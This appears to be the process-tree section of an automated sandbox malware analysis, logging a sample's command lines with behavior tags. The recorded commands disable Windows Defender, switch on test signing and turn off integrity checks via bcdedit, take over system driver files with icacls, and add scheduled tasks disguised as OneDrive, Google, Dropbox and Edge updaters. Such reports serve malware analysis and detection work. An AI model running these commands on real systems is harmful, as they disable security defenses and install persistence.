C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
C:\Windows\system32\mountvol.exemountvol K: /D5⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol L: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol L: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol L: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol L: /D5⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol M: /S4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
C:\Windows\system32\mountvol.exemountvol M: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol M: /D4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
C:\Windows\system32\mountvol.exemountvol M: /D5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol N: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol N: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol N: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol N: /D5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol O: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol O: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol O: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol O: /D5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol P: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol P: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol P: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol P: /D5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol Q: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol Q: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol Q: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol Q: /D5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol R: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol R: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol R: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol R: /D5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol S: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol S: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol S: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol S: /D5⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol T: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol T: /S5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol T: /D4⤵
-
C:\Windows\system32\mountvol.exemountvol T: /D5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol U: /S4⤵
-
C:\Windows\system32\mountvol.exemountvol U: /S5⤵
-
-
-
-
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -Embedding1⤵
- Loads dropped DLL
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\WebCache\SkypeHost.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\WebCache\SkypeHost.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- UAC bypass
- Executes dropped EXE
- Loads dropped DLL
- Checks whether UAC is enabled
- System policy modification
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol E: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol E: /S3⤵
-
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "Consolidator_e77ef7ce" /F2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "Consolidator_e77ef7ce" /XML "C:\Users\Admin\AppData\Local\Temp\994fd327-58b4-4e85-99b2-51e3b49d2d42.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "OneDrive Standalone Update Task_2f340990" /F2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "OneDrive Standalone Update Task_2f340990" /XML "C:\Users\Admin\AppData\Local\Temp\d49acb26-9506-47e1-baad-578bfb2201b2.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "User_Feed_Synchronization-db1edbc1-90f0-4779-9715-c6b1157a7067" /F2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "User_Feed_Synchronization-db1edbc1-90f0-4779-9715-c6b1157a7067" /XML "C:\Users\Admin\AppData\Local\Temp\8d893181-f06b-40a7-b664-5a67ed7e7060.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol E: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol E: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol F: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol F: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol F: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol F: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol G: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol G: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol G: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol G: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol H: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol H: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol H: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol H: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol I: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol I: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol I: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol I: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol J: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol J: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol J: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol J: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol K: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol K: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol K: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol K: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol L: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol L: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol L: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol L: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol M: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol M: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol M: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol M: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol N: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol N: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol N: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol N: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol O: /S2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol O: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol O: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol O: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol P: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol P: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol P: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol P: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol Q: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol Q: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol Q: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol Q: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol R: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol R: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol R: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol R: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol S: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol S: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol S: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol S: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol T: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol T: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol T: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol T: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol U: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol U: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol U: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol U: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol V: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol V: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol V: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol V: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol W: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol W: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol W: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol W: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol X: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol X: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol X: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol X: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol Y: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol Y: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol Y: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol Y: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol E: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol E: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol E: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol E: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol F: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol F: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol F: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol F: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol G: /S2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol G: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol G: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol G: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol H: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol H: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol H: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol H: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol I: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol I: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol I: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol I: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol J: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol J: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol J: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol J: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol K: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol K: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol K: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol K: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol L: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol L: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol L: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol L: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol M: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol M: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol M: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol M: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol N: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol N: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol N: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\mountvol.exemountvol N: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol O: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol O: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol O: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol O: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol P: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol P: /S3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol P: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol P: /D3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c mountvol Q: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol Q: /S3⤵
-
-
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:Global.DesktopSpotlight.AppXz2j21w56bgxkgsjhtn7zkjsepq96erz2.mca1⤵
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:Global.IrisService.AppXwt29n3t7x7q6fgyrrbbqxwzkqjfjaw4y.mca1⤵
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:Global.RulesEngine.AppXgphnekvm0vv49drvfehh4b6kyf6ckafp.mca1⤵
- Modifies registry class
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:OobeHost.AppXdcwkjpb46w3zw4hbmx5jfxajhymjka0d.mca1⤵
- Modifies registry class
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:WebExperienceHost.AppXt2rk6m02ana976jna04hdq35jfnzy7f7.mca1⤵
- Modifies registry class
-
C:\Windows\IdentityCRL\production\WlidSvcGroupconfig.exeC:\Windows\IdentityCRL\production\WlidSvcGroupconfig.exe1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender TamperProtection settings
- Modifies security service
- UAC bypass
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Windows security modification
- Checks whether UAC is enabled
- Drops file in System32 directory
- Modifies Control Panel
- Suspicious behavior: EnumeratesProcesses
- System policy modification
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Delete /TN "GoogleUpdateTaskMachineCore_4a380cd4" /F2⤵
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Create /TN "GoogleUpdateTaskMachineCore_4a380cd4" /XML "C:\Users\Admin\AppData\Local\Temp\067b98e4-dbfc-4d48-8488-7a26f2207d33.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol E: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol E: /S3⤵
-
-
-
C:\Windows\System32\CMD.exe"CMD" /c schtasks /delete /F /TN "MicrosoftEdgeUpdater" & exit2⤵
-
C:\Windows\System32\schtasks.exeschtasks /delete /F /TN "MicrosoftEdgeUpdater"3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c sc start TrustedInstaller2⤵
-
C:\Windows\System32\sc.exesc start TrustedInstaller3⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /tn "MicrosoftEdgeUpdater" /tr "C:\Windows\IdentityCRL\production\WlidSvcGroupconfig.exe" & exit2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /f /sc onlogon /tn "MicrosoftEdgeUpdater" /tr "C:\Windows\IdentityCRL\production\WlidSvcGroupconfig.exe"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\sc.exe"sc" stop WinDefend2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"sc" config WinDefend start= demand2⤵
- Launches sc.exe
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Delete /TN "SystemSoundsService_c3591f46" /F2⤵
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Create /TN "SystemSoundsService_c3591f46" /XML "C:\Users\Admin\AppData\Local\Temp\168c2c71-71d9-43d0-857a-4ff891153072.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Delete /TN "DropboxUpdateTaskMachineCore_da349647" /F2⤵
-
-
C:\Windows\System32\schtasks.exe"schtasks.exe" /Create /TN "DropboxUpdateTaskMachineCore_da349647" /XML "C:\Users\Admin\AppData\Local\Temp\b45f618f-1776-4342-9976-a807640cae82.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol E: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol E: /D3⤵
- Enumerates connected drives
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol F: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol F: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c net stop WinDefend2⤵
-
C:\Windows\System32\net.exenet stop WinDefend3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵
-
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c net start WinDefend2⤵
-
C:\Windows\System32\net.exenet start WinDefend3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start WinDefend4⤵
-
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol F: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol F: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol G: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol G: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c bcdedit /set testsigning on2⤵
-
C:\Windows\System32\bcdedit.exebcdedit /set testsigning on3⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c bcdedit /set nointegritychecks on2⤵
-
C:\Windows\System32\bcdedit.exebcdedit /set nointegritychecks on3⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\null.sys" /grant administrators:F2⤵
-
C:\Windows\System32\icacls.exeicacls "C:\Windows\system32\drivers\null.sys" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\null.sys.bak" /grant administrators:F2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\icacls.exeicacls "C:\Windows\system32\drivers\null.sys.bak" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\null.sys" /grant administrators:F /t /c2⤵
-
C:\Windows\System32\icacls.exeicacls "C:\Windows\system32\drivers\null.sys" /grant administrators:F /t /c3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\beep.sys" /grant administrators:F2⤵
-
C:\Windows\System32\icacls.exeicacls "C:\Windows\system32\drivers\beep.sys" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\beep.sys.bak" /grant administrators:F2⤵
-
C:\Windows\System32\icacls.exeicacls "C:\Windows\system32\drivers\beep.sys.bak" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\beep.sys" /grant administrators:F /t /c2⤵
-
C:\Windows\System32\icacls.exeicacls "C:\Windows\system32\drivers\beep.sys" /grant administrators:F /t /c3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\rasl2tp.sys" /grant administrators:F2⤵
-
C:\Windows\System32\icacls.exeicacls "C:\Windows\system32\drivers\rasl2tp.sys" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol G: /D2⤵
-
C:\Windows\System32\mountvol.exemountvol G: /D3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\rasl2tp.sys.bak" /grant administrators:F2⤵
-
C:\Windows\System32\icacls.exeicacls "C:\Windows\system32\drivers\rasl2tp.sys.bak" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c mountvol H: /S2⤵
-
C:\Windows\System32\mountvol.exemountvol H: /S3⤵
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\rasl2tp.sys" /grant administrators:F /t /c2⤵
-
C:\Windows\System32\icacls.exeicacls "C:\Windows\system32\drivers\rasl2tp.sys" /grant administrators:F /t /c3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\raspppoe.sys" /grant administrators:F2⤵
-
C:\Windows\System32\icacls.exeicacls "C:\Windows\system32\drivers\raspppoe.sys" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\raspppoe.sys.bak" /grant administrators:F2⤵
-
C:\Windows\System32\icacls.exeicacls "C:\Windows\system32\drivers\raspppoe.sys.bak" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\raspppoe.sys" /grant administrators:F /t /c2⤵
-
C:\Windows\System32\icacls.exeicacls "C:\Windows\system32\drivers\raspppoe.sys" /grant administrators:F /t /c3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\raspptp.sys" /grant administrators:F2⤵
-
C:\Windows\System32\icacls.exeicacls "C:\Windows\system32\drivers\raspptp.sys" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\raspptp.sys.bak" /grant administrators:F2⤵
-
C:\Windows\System32\icacls.exeicacls "C:\Windows\system32\drivers\raspptp.sys.bak" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\raspptp.sys" /grant administrators:F /t /c2⤵
-
C:\Windows\System32\icacls.exeicacls "C:\Windows\system32\drivers\raspptp.sys" /grant administrators:F /t /c3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\modem.sys" /grant administrators:F2⤵
-
C:\Windows\System32\icacls.exeicacls "C:\Windows\system32\drivers\modem.sys" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\modem.sys.bak" /grant administrators:F2⤵
-
C:\Windows\System32\icacls.exeicacls "C:\Windows\system32\drivers\modem.sys.bak" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\modem.sys" /grant administrators:F /t /c2⤵
-
C:\Windows\System32\icacls.exeicacls "C:\Windows\system32\drivers\modem.sys" /grant administrators:F /t /c3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\parport.sys" /grant administrators:F2⤵
-
C:\Windows\System32\icacls.exeicacls "C:\Windows\system32\drivers\parport.sys" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\parport.sys.bak" /grant administrators:F2⤵
-
C:\Windows\System32\icacls.exeicacls "C:\Windows\system32\drivers\parport.sys.bak" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\parport.sys" /grant administrators:F /t /c2⤵
-
C:\Windows\System32\icacls.exeicacls "C:\Windows\system32\drivers\parport.sys" /grant administrators:F /t /c3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\serenum.sys" /grant administrators:F2⤵
-
C:\Windows\System32\icacls.exeicacls "C:\Windows\system32\drivers\serenum.sys" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\System32\cmd.exe"cmd.exe" /c icacls "C:\Windows\system32\drivers\serenum.sys.bak" /grant administrators:F2⤵
-
C:\Windows\System32\icacls.exeicacls "C:\Windows\system32\drivers\serenum.sys.bak" /grant administrators:F3⤵
